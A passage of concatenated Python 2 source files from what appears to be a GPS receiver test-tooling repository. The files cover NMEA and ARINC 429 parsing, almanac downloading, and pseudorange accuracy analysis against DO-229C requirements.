print 'RMC', self.time, deg_str(self.lat), deg_str(self.lon), \
self.valid, self.date
class Parser:
def main(self, fname):
import re
m = re.search('com(\d)', fname.lower())
if m:
com_num = int(m.group(1)) - 1
import serial
f = serial.Serial(com_num, 9600, parity=serial.PARITY_NONE)
else:
f = open(fname, 'rt')
while True:
line = f.readline()
if (not line):
break
if line.count('$GP') != 1 or line.find('*') == -1:
continue
try:
msg = Msg(line)
except:
print 'bad line:', line
raise
handler_name = 'handle_' + msg.get_id()
try:
handler = getattr(self, handler_name)
handler(msg)
except AttributeError:
pass
if __name__ == '__main__':
import sys
try:
fname = sys.argv[1]
except IndexError:
fname = 'capture.txt'
parser = Parser()
parser.main(fname)
@
<file_sep>/rcs/get_navcen_alm.py
head 1.2;
branch ;
access ;
symbols 2PXRFS1:1.2 PVTSE_tests:1.2 HT_0113:1.2 TRR1:1.2 v10%2E2:1.1
v10%2E1:1.1;
locks ; strict;
comment @@;
1.2
date 2007.08.31.16.32.24; author Grant.Griffin; state In_Progress;
branches ;
next 1.1;
1.1
date 2004.08.19.15.09.12; author griffin_g; state In_Progress;
branches ;
next ;
ext
@project R:/tools/GPS_Host/GPS_host.pj;
project R:/HostTools/HostTools.pj;
@
desc
@@
1.2
log
@Modified to allow download of latest almanac following changes to the structure of the Navcen site. The options to download by number are still broken in this version.@
text
@""" Gets almanacs from the NavCen web site and converts them from HTML to text,
if necessary.
Usage:
get_navcen_alm gets latest almanac as 'yuma.alm'
get_navcen_alm XXX gets almanac for week XXX as 'yumaXXX.alm'
get_navcen_alm XXX YYY gets almanac for weeks XXX-YYY as 'yumaXXX.alm' - 'yumaYYY.alm'
returns exit code 0 on success, non-zero on failure
"""
# NOTE: The mechanism to download an alamanac by number is broken in this
# version due to change in the structure of the Navcen site. However,
# the mechanism to download the latest alamanac has been modified to work
# with the new site.
__author__ = "<NAME>"
import sys, os, urllib, sgmllib
VERBOSE = 3 # Verbosity level (0-3)
class MyHTMLParser(sgmllib.SGMLParser):
# this class was filched from webchecker.py, provided as part of Python 2.3.2
# et al. (unneeded functions were deleted)
def __init__(self, url, verbose=VERBOSE, checker=None):
self.myverbose = verbose # now unused
self.checker = checker
self.base = None
self.links = {}
self.names = []
self.url = url
sgmllib.SGMLParser.__init__(self)
def start_a(self, attributes):
self.link_attr(attributes, 'href')
# We must rescue the NAME
# attributes from the anchor, in order to
# cache the internal anchors which are made
# available in the page.
for name, value in attributes:
if name == "name":
if value in self.names:
self.checker.message("WARNING: duplicate name %s in %s",
value, self.url)
else: self.names.append(value)
break
def end_a(self): pass
def getlinks(self):
return self.links.keys()
def link_attr(self, attributes, *args):
for name, value in attributes:
if name in args:
if value: value = value.strip()
if value: self.links[value] = None
class YumaParser(sgmllib.SGMLParser):
def __init__(self):
self.in_pre = False
self.lines = []
sgmllib.SGMLParser.__init__(self)
def start_pre(self, attributes):
self.in_pre = True
def end_pre(self):
self.in_pre = False
def handle_data(self, data):
if self.in_pre:
self.lines.append(data.rstrip() + '\n')
class Yuma:
navcen = 'http://www.navcen.uscg.gov/'
yuma_url = navcen + 'archives/gps/2007/ALMANACS/YUMA/'
root_fname = 'yuma'
http_proxy = 'http://tmpproxy.honeywell.com:8080'
class Error(Exception):
def __init__(self, number, message):
self.number = number
self.message = message
def __init__(self):
self.downloaded_lines = []
self.lines = []
def urlopen(self, url):
return urllib.urlopen(url, None, { 'http':self.http_proxy } )
def download(self, url):
if type(url) is type(1):
# build the actual url from the given integer
url = self.yuma_url + 'yuma' + str(url) + '.txt'
print 'downloading ', url
self.downloaded_lines = self.urlopen(url).readlines()
self.parse_lines()
self.fix_lines()
def parse_lines(self):
# extract the text inside the almanac's PRE tags
yuma_parser = YumaParser()
for line in self.downloaded_lines:
yuma_parser.feed(line)
## if not yuma_parser.lines:
## raise self.Error(2, "Couldn't parse yuma HTML")
if yuma_parser.lines:
print 'Found HTML'
self.lines = yuma_parser.lines
else:
print 'Found text'
self.lines = [line.rstrip() + '\n' for line in self.downloaded_lines]
def fix_lines(self):
line_num = 0
for line in self.lines:
if '.' in line:
# fix the dopey scientific notation
descr = line[:27]
value = line[27:]
if 'E' in value:
line = '%s%18.10E\n' % (descr, float(value))
self.lines[line_num] = line
line_num += 1
def write_downloaded_lines(self, fname=''):
if not fname:
fname = self.root_fname + '.htm'
f = open(fname, 'wt')
f.writelines(self.downloaded_lines)
print 'Wrote downloaded almanac as', fname
def write_lines(self, fname=''):
if not fname:
fname = self.root_fname + '.alm'
f = open(fname, 'wt')
f.writelines(self.lines)
f.close()
print 'Wrote parsed almanac as', fname
class LatestYuma(Yuma):
current_yuma_url = 'gps/current/current.alm'
def download(self):
Yuma.download(self, self.get_url())
def get_url(self):
return self.navcen + self.current_yuma_url
if __name__ == '__main__':
if len(sys.argv) == 1:
# no command-line argument: get the latest yuma
try:
y = LatestYuma()
y.download()
y.write_downloaded_lines()
y.write_lines()
except Yuma.Error, err:
print err.message
sys.exit(err.number)
else:
# one or two yuma number arguments were provided
first = int(sys.argv[1])
try:
last = int(sys.argv[2])
if (last < first):
(first, last) = (last, first)
except IndexError:
# no last provided: just get the first yuma number
last = first
y = Yuma()
try:
for ii in xrange(first, last + 1):
y.download(ii)
fname = 'yuma%i.alm' % (ii, )
y.write_lines(fname)
print
except Yuma.Error, err:
print err.message
sys.exit(err.number)
sys.exit(0) # success@
1.1
log
@Initial revision@
text
@d12 5
d82 1
a82 1
yuma_url = navcen + 'ftp/GPS/almanacs/yuma/'
d153 2
d159 1
a159 2
print 'Getting URL of latest almanac'
parser = MyHTMLParser(self.yuma_url)
a160 19
# get yuma index page
f = self.urlopen(self.yuma_url)
for line in f:
# print line.rstrip()
parser.feed(line)
f.close()
# get the link to the latest almanac
links = parser.getlinks()
links.sort()
latest_yuma_link = links[-1]
# extract the fname from the right of the link
latest_yuma_fname = latest_yuma_link.split('/')[-1]
if not latest_yuma_fname.startswith('yuma'):
raise self.Error(1, 'Found incorrect link')
url = self.navcen + latest_yuma_link
print url
return url
@
<file_sep>/pytools/Other Pytools/pr_delta.py
"""Extracts the difference between pseudornage deltas from code and frequency"""
from mode_changes import ModeChanges as Parser
import stats
SPEED_OF_LIGHT = 2.99792458e8
MPP_CARRIER_FREQ_HZ = 1575420000.0
CARRIER_WAVELENGTH_M = SPEED_OF_LIGHT / MPP_CARRIER_FREQ_HZ
class PRDelta(Parser):
def __init__(self, prns):
Parser.__init__(self)
self.prns = prns
self.data = {}
def main(self, title):
Parser.main(self, title)
for prn in self.data.keys():
fname = 'prn' + str(prn)
print 'Writing', fname, '...',
f = open(fname, 'wt')
data = self.data[prn]
avg_delta_code = None
for ii in xrange(1, len(data)):
last_msg = data[ii - 1]
msg = data[ii]
if (msg.tick - last_msg.tick > 500):
continue
delta_code_time = msg.bb_code_phase_s - last_msg.bb_code_phase_s
if (delta_code_time < -0.0005):
delta_code_time += 0.001
elif (delta_code_time > 0.0005):
delta_code_time -= 0.001
delta_code = SPEED_OF_LIGHT * delta_code_time
if avg_delta_code is None:
avg_delta_code = delta_code
else:
avg_delta_code += 0.25 * (delta_code - avg_delta_code)
delta_freq = CARRIER_WAVELENGTH_M * msg.acc_dop_cyc
print >> f, msg.tick, delta_code, avg_delta_code, delta_freq
# print >> f, delta_code - delta_freq
f.close()
print 'done.'
def handle2D(self, msg):
if self.prns and msg.prn not in self.prns:
return
if (not self.data.has_key(msg.prn)):
self.data[msg.prn] = []
self.data[msg.prn].append(msg)
if __name__ == '__main__':
import sys
print sys.argv
try:
prns = [int(sys.argv[2])]
except IndexError:
prns = []
PRDelta(prns).main('Pseudorange deltas')<file_sep>/pytools/Other Pytools/reformat.py
""" Reformats log files so the satellite measurements of packet 0x30 are
one-per-line. """
import sys
from xpr_log import Parser
class Reformatter(Parser):
def __init__(self, inp_fname, out_fname):
Parser.__init__(self, False)
self.num_reformatted = 0
print 'Reformatting', inp_fname, 'to', out_fname
self.out_f = open(out_fname, 'w')
self.parse(inp_fname)
print 'Reformatted %i of %i messages.' % \
(self.num_reformatted, self.num_parsed)
def handle30(self, msg):
self.num_reformatted += 1
print >> self.out_f, msg.line[:19]
for m in msg.measurements:
print >> self.out_f, ' ', repr(m)
def handle(self, msg):
print >> self.out_f, msg.line
def handle_parse_error(self, error, line_num, line):
print >> self.out_f, line
if __name__ == '__main__':
# get command-line arguments
try:
inp_fname = sys.argv[1]
except IndexError:
inp_fname = 'rawlog.txt'
try:
out_fname = sys.argv[2]
except IndexError:
out_fname = inp_fname + '2'
Reformatter(inp_fname, out_fname)<file_sep>/pytools/Other Pytools/pracc_data.py
""" pracc_data.py: constants, functions, and classes to represent pseudorange
data and calculate pseudorange accuracy
Copyright 2004-2007, Honeywell International Inc.
"""
__author__ = '<NAME>'
__version__ = '$Revision: 1.5 $'
import math, re
import stats
#-----------------------------------------------------------------------------
# constants
MIN_GPS_SIGNAL_SIGMA = 0.36 # DO-229C 2.1.4.1.4, Designator-A
MAX_GPS_SIGNAL_SIGMA = 0.15 # DO-229C 2.1.4.1.4, Designator-A
MIN_WAAS_SIGNAL_SIGMA = 1.8 # DO-229C 2.1.4.1.5
MAX_WAAS_SIGNAL_SIGMA = 1.0 # DO-229C 2.1.4.1.5
SETTLING_TIME_SEC = 360.0 # DO-229C 2.1.4.1.3
MIN_SBAS_PRN = 120 # DO-229C Table A-1
pass_thresholds = ( # DO-229C Table 2-26
# NIS, Pass Threshold
( 50, 0.955 ),
( 75, 0.982 ),
( 100, 0.998 ),
( 150, 1.017 ),
( 200, 1.028 ),
( 300, 1.042 ),
( 400, 1.050 ),
( 500, 1.055 )
# Table 2-26 extends to 2000, but we'll never actually use that many
)
MIN_NUM_PRNS = 4
MIN_SIGNAL_EXCLUDED_PRNS = [31]
MIN_PR_SIGMA = 50.0 # PRNs with greater sigma's don't have iono corrections
LEVEL1_CORE_TOW_ADJUST_SEC = 0.001
LEVEL2_CORE_TOW_ADJUST_SEC = 0.0
#-----------------------------------------------------------------------------
# functions
def is_sbas(prn):
if prn >= MIN_SBAS_PRN:
return True
else:
return False
def pr_noise_sigma(prn, min_signal=True):
if is_sbas(prn):
if min_signal:
return MIN_WAAS_SIGNAL_SIGMA
else:
return MAX_WAAS_SIGNAL_SIGMA
else:
if min_signal:
return MIN_GPS_SIGNAL_SIGMA
else:
return MAX_GPS_SIGNAL_SIGMA
def print_prn_errs(prn_errs):
"""print error statistics for each PRN and for all PRNs"""
prns = prn_errs.keys()
prns.sort()
all_errs = []
print ' PRN Avg Err RMS Err Err Std Count'
for prn in prns:
all_errs += prn_errs[prn]
st = stats.Stats(prn_errs[prn])
print ' %4d %11.6f %11.6f %11.6f %6i' % \
(prn, st.avg, st.rms, st.std, len(prn_errs[prn]))
st = stats.Stats(all_errs)
print ' All %11.6f %11.6f %11.6f %6i' % \
(st.avg, st.rms, st.std, len(all_errs))
#-----------------------------------------------------------------------------
# classes
class ClockBias:
"""Holds a clock bias and TOW pair"""
def __init__(self, tow, bias):
self.tow = tow
self.bias = bias
class ClockBiases(list):
"""Holds a list of ClockBias'es"""
def __init__(self):
self.cache = {}
def _find(self, tow):
"""Finds the clock bias that's closest to the given TOW"""
last_cbias = self[0]
for cbias in self:
if cbias.tow > tow:
if abs(cbias.tow - tow) < abs(last_cbias.tow - tow):
self.cache[tow] = cbias # this one has the closest tow
else:
self.cache[tow] = last_cbias # the previous one had the closest tow
return
last_cbias = cbias
self.cache[tow] = self[-1] # the last entry is the closest
def get(self, tow):
"""Gets the clock bias nearest to the given TOW from the cache or using _find."""
if not self.cache.has_key(tow):
self._find(tow)
return self.cache[tow]
class Svdata:
"""Holds pseudorange and related data for a single measurement"""
def __init__(self, timestamp, tow, pr, pr_sigma, pr_sigma_3b):
self.timestamp = timestamp
self.tow = tow
self.pr = pr
self.pr_sigma = pr_sigma
self.pr_sigma_3b = pr_sigma_3b
def __str__(self):
return '%s : %0.3f %0.3f %0.6f' % \
(self.timestamp, self.tow, self.pr, self.pr_sigma)
class AccuracyData:
"""Holds accuracy data from a single measurement"""
def __init__(self, prn, pr_err, pr_sigma, pr_sigma_3b):
self.prn = prn
self.pr_err = pr_err
self.pr_sigma = pr_sigma
self.pr_sigma_3b = pr_sigma_3b
class AccuracyDataList(list):
"""Implements a list of accuracy data taken from some set of measurements"""
def __init__(self, data):
self.append(data)
def bias(self):
sum = 0.0
for data in self:
sum += data.pr_err
return sum / len(self)
def _sigma_squared_norm(self, i):
N = len(self)
N_m1_sqrd = (N - 1) * (N - 1)
sum = 0.0
for k in xrange(0, N):
sigma_sqrd = math.pow(self[k].pr_sigma, 2.0)
if k == i:
sum += N_m1_sqrd * sigma_sqrd
else:
sum += sigma_sqrd
return sum / (N * N)
def norm_err_sqrd(self):
"""Calculates the RMS_PR value specified in RTCA/DO-229C 2.5.8.2.1, item 6 (page 227)"""
N = len(self)
sum = 0.0
for i in xrange(0, N):
sum += math.pow(self[i].pr_err, 2.0) / (self._sigma_squared_norm(i) * N)
return sum
class AccuracyDataDict(dict):
"""Implements a dictionary of accuracy data, indexed by TOW """
SAMPLING_INTERVAL_SEC = 200.0 # DO-229C 2.5.8.2.1, Note 1
def add_data(self, tow, prn, pr_err, pr_sigma, pr_sigma_3b):
"""Adds a data point to the object"""
data = AccuracyData(prn, pr_err, pr_sigma, pr_sigma_3b)
try:
self[tow].append(data)
except KeyError:
# this TOW is new: create a new AccuracyDataList for it
self[tow] = AccuracyDataList(data)
def test(self, prns, rawlog_fname, excluded_prns, write):
"""Prints and writes summaries of the object's accuracy data. Returns
True if the data passes the test requirements."""
print '\nSummary of %s:' % (rawlog_fname)
tows = self.keys()
tows.sort()
print ' Sampling every %0.1f seconds starting at TOW %0.1f' \
% (self.SAMPLING_INTERVAL_SEC, tows[0])
if excluded_prns:
print ' PRNs', excluded_prns, 'have been excluded'
else:
print ' No PRNs have been excluded'
# extract rawlog serial number, if any, from rawlog_fname
m = re.search(r'\d+', rawlog_fname)
if m:
rawlog_id = m.group(0)
else:
rawlog_id = ''
if write:
# write combined error file header
fname = 'combined' + rawlog_id + '.csv'
f = open(fname, 'w')
print ' Writing combined errors to', fname
print >> f, 'TOW',
prns.sort()
for prn in prns:
print >> f, ',%3i' % (prn, ),
print >> f
# calculate and write unbiased error data
err_sqrd_sum = 0.0
biases = []
last_tow = None
prn_errs = {}
irt_data = {}
ssn_data = {}
num_samples = nis = 0
tows = self.keys()
tows.sort()
m = 0
for tow in tows:
accuracy_data_list = self[tow]
num_samples += len(accuracy_data_list)
tow_prn_errs = {}
if (len(accuracy_data_list) >= MIN_NUM_PRNS) and \
((last_tow is None) or ((tow - last_tow) >= self.SAMPLING_INTERVAL_SEC)):
# calculate and remove common-mode errors
bias = accuracy_data_list.bias()
biases.append((tow, bias))
for data in accuracy_data_list:
data.pr_err -= bias
tow_prn_errs[data.prn] = data.pr_err
try:
prn_errs[data.prn].append(data.pr_err)
except KeyError:
prn_errs[data.prn] = [data.pr_err]
nis += len(accuracy_data_list) - 1
norm_err_sqrd = accuracy_data_list.norm_err_sqrd()
err_sqrd_sum += norm_err_sqrd
# stash data for interference rejection test (DO-229C 2.5.7.3)
for data in accuracy_data_list:
nj = len(accuracy_data_list)
fom = 5.33 * (nj - 1) / nj * data.pr_sigma
err_data = (tow, bias, data.pr_err, nj, data.pr_sigma,
norm_err_sqrd, fom)
try:
irt_data[data.prn].append(err_data)
except KeyError:
irt_data[data.prn] = [err_data]
# data for steady state value of noise (DO-229C 2.5.8.2 - 8)
try:
ssn_data[data.prn].append(data.pr_sigma_3b)
except KeyError:
ssn_data[data.prn] = [data.pr_sigma_3b]
m += 1
last_tow = tow
if write:
# write line in combined error file
print >> f, '%f,' % (tow, ),
for prn in prns:
try:
err = tow_prn_errs[prn]
except KeyError:
print ' PRN %3i not found at TOW %0.1f' % (prn, tow)
err = 5.0 # fabricate a large error
print >> f, '%9.6f,' % (err, ),
print >> f
if write:
f.close()
# write bias file
fname = 'bias' + rawlog_id + '.txt'
print ' Writing biases to', fname
f2 = open(fname, 'w')
for (tow, bias) in biases:
print >> f2, tow, bias
f2.close()
print ' Average bias is', stats.Stats([bias[1] for bias in biases]).avg
try:
rms_pr = math.sqrt(err_sqrd_sum / m)
print ' RMS_PR for %i independent samples of %i over %i intervals is %0.6f' % \
(nis, num_samples, m, rms_pr)
except ZeroDivisionError:
rms_pr = 1000.0
print ' No pseudorange accuracy samples were found'
print_prn_errs(prn_errs)
if write:
# write interference rejection test files
for prn in irt_data:
fname = 'irt_data_' + str(prn) + '.txt'
f = open(fname, 'w')
for err_data in irt_data[prn]:
print >> f, '%8.1f %0.3f %9.6f %2i %f %f %f' % err_data
f.close()
if not write:
# write the average steady state noise to a file
fname = 'avg_ssn_data.txt'
f3 = open(fname, 'w')
for prn in ssn_data:
sum = 0.0
for ssn in ssn_data[prn]:
sum += ssn
print >> f3, '%d, %1.10f, %d' % (prn, sum/len(ssn_data[prn]), len(ssn_data[prn]))
f3.close()
return (nis, m, rms_pr, prn_errs, ssn_data)
class PseudorangeAccuracyData:
verbose = True
def __init__(self):
self.max_tow = None
self.restart()
def restart(self):
self.prn_msgs = {} # a dict of lists of PRN msgs keyed by PRN
self.cbiases = ClockBiases()
self.navigating = False
self.accepting_measurements = False
self.tow = 0.0
def dump(self):
"""Dumps the messages which have been parsed for each PRN to separate files"""
for prn in self.prn_msgs.keys():
if self.test_accuracy:
suffix = 'acc'
else:
suffix = 'ob'
fname = 'msgs_%s_%s.txt' % (prn, suffix)
print 'Writing', fname, '...',
f = open(fname, 'wt')
for msg in self.prn_msgs[prn]:
print >> f, msg
f.close()
print 'done.'
def add_svdata(self, timestamp, prn, tow, pr, pr_sigma, pr_sigma_3b=0.0):
"""Adds a set of measurement data to the object"""
svdata = Svdata(timestamp, tow, pr, pr_sigma, pr_sigma_3b)
try:
self.prn_msgs[prn].append(svdata)
except KeyError:
# this is a new PRN: make a new entry to hold it
self.prn_msgs[prn] = [svdata]
<file_sep>/EventScanner.py
import os.path
import re
import EventClass
cEventClass = EventClass.EventClass()
class EventScanner:
"""Class meant to check new events against old and store new event to data file."""
def __init__( self ):
EventScanner.eventlist = [ ]
self.eventCorrespondingNumber = float(0)
def eventSave (self, eventlist):
""" Makes temporary list of events found in GroupMsgParser (per second). Checks for redundancies in list
of events and drops from list if repeat is found.
Saves edited temp list events to class event list variable.
"""
tempEventList = [ ]
while len(eventlist) >= 1:
event = eventlist.pop(0)
m = re.search(event, str(eventlist))
if m is None:
tempEventList.append(event)
EventScanner.eventlist = list(tempEventList)
def eventCheck (self):
""" Checks if there are any events in the class event list variable.
"""
if EventScanner.eventlist != [ ]:
return True
else:
return False
def compareEvents (self, oldevent, correspondingNumber, stationid):
""" Handed an old event stored in the data store. Compares old event to new events using
corresponding number and message text. If the corresponding number clears and the event is unique,
it is appended to a temporary list of event which updates the module's event list.
"""
tempEventList = [ ]
number = oldevent[1]
oldCorrespondingNumber = float(number)
oldevent = ' '.join(oldevent)
oldevent = re.sub('\s(\d+).(\d+)', "", oldevent)
"""compares new corresponding number for all new events to corresponding number of old event"""
compare = cEventClass.compareCorrespondingNumbers(correspondingNumber, oldCorrespondingNumber)
""" compare new events one by one to old event handed to function"""
while len(EventScanner.eventlist) >= 1:
event = EventScanner.eventlist.pop(0)
log = str(stationid + " " + event)
m = re.search(log, str(oldevent))
if compare is True and m is not None:
pass
else:
tempEventList.append(event)
"""any remaining events are reattached to the class variable list"""
EventScanner.eventlist = list(tempEventList)
def saveEvents (self, detectTime, stationid, correspondingNumber, path):
""" Take rewritten event list on module level and save these events to file.
"""
try:
for message in EventScanner.eventlist:
event = str(message + " Detected " + detectTime)
cEventClass.logFoundFault( stationid, correspondingNumber, event, path )
except:
print( "No events to save.")
return
<file_sep>/pytools/Other Pytools/Packet5a.py
""" packet5a.py: Summarizes data from packet 0x5a.
Usage:
packet5a inp_fname [verbose|csv_fname] [event_ids]
Parameters:
inp_fname - Input file name
verbose - To include all 0x5a data in output
csv_fname - Output file name for writing in CSV format
event_ids - Specific event IDs to be output to csv file. Multiple IDs
can be provided one after other separated by spaces.
csv_fname must be provided if event_ids are provided.
"""
__version__ = '$Revision: 1.10 $'
import sys
from xpr_log import Parser
class Packet5a:
""" Represents data from a set of 0x5a packets """
""" The following hold definition data for each 0x5a ID. The format
is:
ID:('descrtiption, max_s), where min_s is assumed to be 0.0
or ID:('description, min_s, max_s)
"""
DEFS = {
980: ('SDM SBAS correction processing', 0.3),
1014:('PVT dead-reckon time', 30.0),
1462:('BIT cache flush', 27.0),
1463:('BIT RAM check', 60.0),
1564:('PVT first solution time', 0.030),
1574:('RXC satellite select', 2.000),
1592:('APD monitor handshake', 0.100),
1626:('EXP fault assert', 0.500),
1678:('PVT HPL computation', 50.0),
1702:('SIM TX Msg rxed to first HW out time', 0.002),
1730:('MPP measurement output time', 0.018),
1796:('PRD prediction time', 0.250),
1859:('BIT power-up test', 0.450),
1883:('SIM activity status available', 0.400),
1896:('BIT background cycle', 0.750, 1.250),
1904:('SMG self-test ack time', 0.500),
1906:('BIT commanded test', 28.0),
1939:('SIM time to forward 0x4a to APD', 0.050),
2026:('SIM VDB Broadcast', 0.035),
2028:('NAV output time after new path', 0.200),
2031:('SIM time to output 0x35 and 0x36', 0.035),
2057:('SIM deviation labels output time', 0.013),
2058:('SIM GLS/airport info labels output time', 0.012),
2083:('NAV invalidation time', 0.150),
2094:('SDM time to Type 2 msg', 0.050),
2116:('SDM time to use Type 1 msg', 0.300),
2523:('SIM time to forward 0x4c to APD', 0.050),
2696:('SIM 743 input labels availability time', 0.012),
2783:('SIM tuning command interpretation time', 0.030),
2842:('SIM cross-monitor failure SSM FW time', 0.150),
2881:('SIM faulted deviation annunciation time', 0.100),
2882:('NAV output time after new pos', 0.010),
2892:('PVT time to use masked sats', 30.0),
3255:('SIM fault discrete annunciation time', 0.500),
3256:('PS loopback holdoff time',2.000),
3422:('BIT latch antenna fault', 3.5, 0.0), # 3.5 minimum
3429:('BIT detect antenna fault', 2.400),
3571:('PVT solution valid when HPL < 0.3 nm', 1.5),
3572:('PVT solution valid with 4 measurements', 10.0),
4751:('NAV lateral deviation invalidated', 0.150),
4792:('SIM time to APD to process 0x4c', 0.200),
4810:('SIM time to APD to process 0x4a', 0.200),
5211:('Antenna Monitor Background Task', 0.300, 0.700),
20831:('NAV time to invalidate devs', 0.150),
20832:('NAV time to invalidate devs', 0.150)
}
def __init__(self, msg5a):
""" Initializes the object """
self.msgs = [msg5a]
self.id = msg5a.event_ID
self.count = msg5a.event_count
self.max_s = msg5a.max_event_duration_s
self.min_s = msg5a.min_event_duration_s
def update(self, msg5a):
""" Updates the object with data from a 0x5a packet """
self.msgs.append(msg5a)
self.count += msg5a.event_count
self.max_s = max(self.max_s, msg5a.max_event_duration_s)
self.min_s = min(self.min_s, msg5a.min_event_duration_s)
def __str__(self):
""" Returns the object's string representation """
# get the definition for this ID
try:
id_def = self.DEFS[self.id]
try:
(name, min_s, max_s) = id_def
except ValueError:
(name, max_s) = id_def
min_s = 0.0
except KeyError:
(name, min_s, max_s) = ('UNKNOWN', 0.0, 0.0)
s = 'ID%d : count=%d' % (self.id, self.count)
if self.count:
s += ' min=%f max=%f' % (self.min_s, self.max_s)
s += ' : ' + name
if self.count:
# determine pass/fail
if self.min_s < min_s or self.max_s > max_s:
s += ' FAILS'
else:
s += ' PASSES'
s += ' (%f, %f)' % (min_s, max_s)
else:
s += ' FAILS due to no data'
return s
def csv(self):
""" Returns a single line of CSV text, includding endline """
return '%d, %d, %f, %f\n' % (self.id, self.count, self.max_s, self.min_s)
class Summary5A(Parser, dict):
""" Parser for packet 0x5a that summarizes """
def __init__(self):
""" Initializes the object """
self.ids_of_interest = []
Parser.__init__(self)
def keys(self):
""" Returns the objects keys, in sorted order """
keys = dict(self).keys()
keys.sort()
return keys
def __repr__(self, verbose=True):
""" Returns a summary string """
s = ''
for key in self.keys():
stat = self[key]
s += str(stat) + '\n'
if verbose:
for msg in stat.msgs:
if stat.count > 0:
s += ' %s\n' % (msg.line, )
return s
def __str__(self):
""" Return a minimal summary string """
return self.__repr__(False)
def set_ids_of_interest(self, ids):
self.ids_of_interest = ids
def write_csv(self, fname):
""" Writes a brief summary in CSV format """
f = open(fname, 'wt')
if len(self.ids_of_interest) == 0:
for key in self.keys():
f.write(self[key].csv())
else:
for id in self.ids_of_interest:
try:
f.write(self[int(id)].csv())
except KeyError:
f.write('Err,0,0,0\n')
f.close()
def handle5A(self, msg):
""" Handles a single 0x5a packet """
try:
self[msg.event_ID].update(msg)
except KeyError:
self[msg.event_ID] = Packet5a(msg)
if __name__ == '__main__':
""" Command-line interface """
args = sys.argv
sys.argv = sys.argv[:2] # limit xpr_log processing to the first two arguments
summary = Summary5A()
summary.main('Summary of 0x5a packets:')
try:
arg = args[2]
if arg.lower() == 'verbose':
print summary.__repr__(True)
else:
# The only event id that needs to be written to the csv file
summary.set_ids_of_interest(args[3:])
print 'Writing summary to CSV file', arg
summary.write_csv(arg)
except IndexError:
print summary
<file_sep>/pytools/Other Pytools/arinc.py
""" arinc.py: This module provides constants, functions, and classes related
to ARINC 429.
Copyright 2007, Honeywell International Inc.
"""
import struct, time
__version__ = '$Revision: 1.2 $'
GPS_PI = 3.1415926535898 # from ICD GPS-200
def utc2tow(seconds):
""" Returns the time-of-week (TOW) for the given number of seconds since
the UNIX epoch. """
tm = time.localtime(seconds)
(wday, hour, min, sec) = (tm[6], tm[3], tm[4], tm[5])
wday = (wday + 1) % 7 # change to Sunday = 0
# print 'utc2tow:', wday, hour, min, sec, '+', seconds
return (((((wday * 24.0) + hour) * 60.0) + min) * 60.0) \
+ sec + (seconds % 1.0)
class Label:
""" Represents a single ARINC label. """
# BNR SSM codes
BNR_SSM_FAIL = 0
BNR_SSM_NCD = 1
BNR_SSM_TEST = 2
BNR_SSM_NORMAL = 3
BNR_SSM_STR = { BNR_SSM_FAIL:'FAIL', BNR_SSM_NCD:'NCD ',
BNR_SSM_TEST:'TEST', BNR_SSM_NORMAL:'NORM' }
# dictionary of label IDs that have BCD-style SSM
BCD_SSM_LABELS = { '60':1, '260':1, '273':1 }
# tuple to convert BCD SSM (norm = 0) to BNR SSM (norm = 3)
BCD_SSM_TO_BNR_SSM = \
(BNR_SSM_NORMAL, BNR_SSM_NCD, BNR_SSM_TEST, None) # 3 is unused
BIT_ADJUSTEMENT = 9 # bit number 9 in requirements corresponds to bit 0
""" The following table defines the fields of each label. Each label
number has a dictionary whose keys are the field name and whose values
are a tuple of the form (maximum bit, minimum bit, scale factor), or a bit
number if just a single bit. The scale factor is optional. If the scale
factor is negative, the field is interpreted as a signed value.
The field names below are intended to be as close as possible to the names
used in the GNSS requirements, except with illegal identifier characters
such as spaces omitted. The common fields Parity, SSM, and SSID fields are
omitted because they are handled separately. The absence of an SSID field
in some labels is inferred from the presence of bits in this table that
overlap the SSID bits.
"""
DEFS = {
'1' : { 'Counter':(28, 11) },
'57' : { 'UserRangeAccuracy':(28, 12, 0.0625) },
'60' : { 'SVID':(29, 24), 'SVIDStatus_Isolation':23,
'RangeRate':22, 'RateMeasurement':21,
'MeasurementCodeUsed':20, 'UserClockUpdate':19,
'SatellitePositionDataUsed':18, 'CN0':(17, 12),
'System':11 },
'61' : { 'PseudoRange':(29, 9) },
'62' : { 'PseudoRange':(28, 18) },
'65' : { 'SvPosition':(29, 9) }, # X
'66' : { 'SvPositionFine':(28, 15) }, # X fine
'70' : { 'SvPosition':(29, 9) }, # Y
'71' : { 'SvPositionFine':(28, 15) }, # Y fine
'72' : { 'SvPosition':(29, 9) }, # Z
'73' : { 'SvPositionFine':(28, 15) }, # Z fine
'74' : { 'UTCMeasurementTime':(28, 9, 9.536743164e-6) },
'76' : { 'MSLaltitude':(29, 9, -0.125) },
'110' : { 'LatitudeRads': (29, 9, -GPS_PI * 2**-20) },
'111' : { 'LongitudeRads':(29, 9, -GPS_PI * 2**-20) },
'116' : { 'Deviation':(29, 11, -1.0) },
'120' : { 'Latitude':(28, 18) },
'121' : { 'Longitude':(28, 18) },
'140' : { 'FractionsOfASecond':(28, 9, 953.6743164e-9) },
'141' : { 'FineFractionsOfASecond':(28, 19, 931.3225746e-12) },
'150' : { 'Hours':(28, 24), 'Minutes':(23, 18), 'Seconds':(17, 12),
'precision_time':11 },
'260' : { 'TensOfDays':(29, 28), 'UnitsOfDays':(27, 24),
'TensOfMonths':23, 'UnitsOfMonths':(22, 19),
'TensOfYears':(18, 15), 'UnitsOfYears':(14, 11) },
'273' : { 'MSBOfSatellitesTracked':29,
'GPSSensorOperationalMode':(28, 24),
'NumberOfSatellitesTracked':(23, 20),
'NumberOfSatellitesVisible':(19, 16),
'IRSSource':15, 'IRSStatus':14, 'DADCFMSSource':13,
'DADCFMSStatus':12, 'MSBOfSatellitesVisible':11 },
'370' : { 'altitude':(29, 9, -0.125) },
'377' : { 'junk':29 }
}
def __init__(self, Lbl, Value, timestamp=None):
"""Constructs the object"""
self.Lbl = Lbl
self.Value = Value
self.timestamp = timestamp
# extract common fields
self.SSM = self.BNR_SSM = self(31, 30)
if self.Lbl in self.BCD_SSM_LABELS:
self.BNR_SSM = self.BCD_SSM_TO_BNR_SSM[self.SSM]
self.SDI = self(10, 9) # not present in all labels
self.Parity = self(32)
# call initxxx if it exists
initializer_name = 'init' + self.Lbl
if hasattr(self, initializer_name):
getattr(self, initializer_name)()
else:
try:
self.init()
except KeyError:
pass
def init(self):
"""Initialize class members using self.DEFS. Raises a KeyError if
label isn't defined in self.DEFS."""
fields = self.DEFS[self.Lbl]
for field in fields:
field_def = fields[field]
# print field, bits
try:
assert(field_def[0] > field_def[1])
if field_def[1] <= 10:
# this field overlaps the SDI bits so we must not have an SDI
del self.SDI
